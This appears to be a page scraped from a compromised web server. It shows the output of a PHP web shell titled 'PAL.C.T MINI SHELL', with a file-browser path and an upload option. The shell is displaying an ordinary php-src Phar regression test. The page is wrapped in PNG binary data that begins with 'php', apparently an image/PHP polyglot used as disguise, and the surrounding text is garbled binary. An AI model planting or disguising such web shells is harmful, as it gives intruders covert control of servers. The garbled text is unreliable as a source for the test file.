php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /php-7.1.11/ext/phar/tests/
upload
files >> //php-7.1.11/ext/phar/tests/bug13786.phpt

--TEST--
Phar: bug #13786: "PHP crashes on phar recreate after unlink"
--SKIPIF--
<?php if (!extension_loaded("phar")) die("skip"); ?>
--INI--
phar.require_hash=0
phar.readonly=0
--FILE--
<?php

try {
for ($i = 0; $i < 2; $i++) {
	$fname = "DataArchive.phar";
	$path = dirname(__FILE__) . DIRECTORY_SEPARATOR . $fname;
	$phar = new Phar($path);
	$phar->addFromString($i, "file $i in $fname");
	var_dump(file_get_contents($phar[$i]));
	unset($phar);
	unlink($path);
}

echo("\nWritten files: $i\n");
} catch (Exception $e) {
echo $e->getMessage() . "\n";
}

?>
===DONE===
--EXPECTF--
string(26) "file 0 in DataArchive.phar"
unable to seek to start of file "0" while creating new phar "%sDataArchive.phar"
===DONE===
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`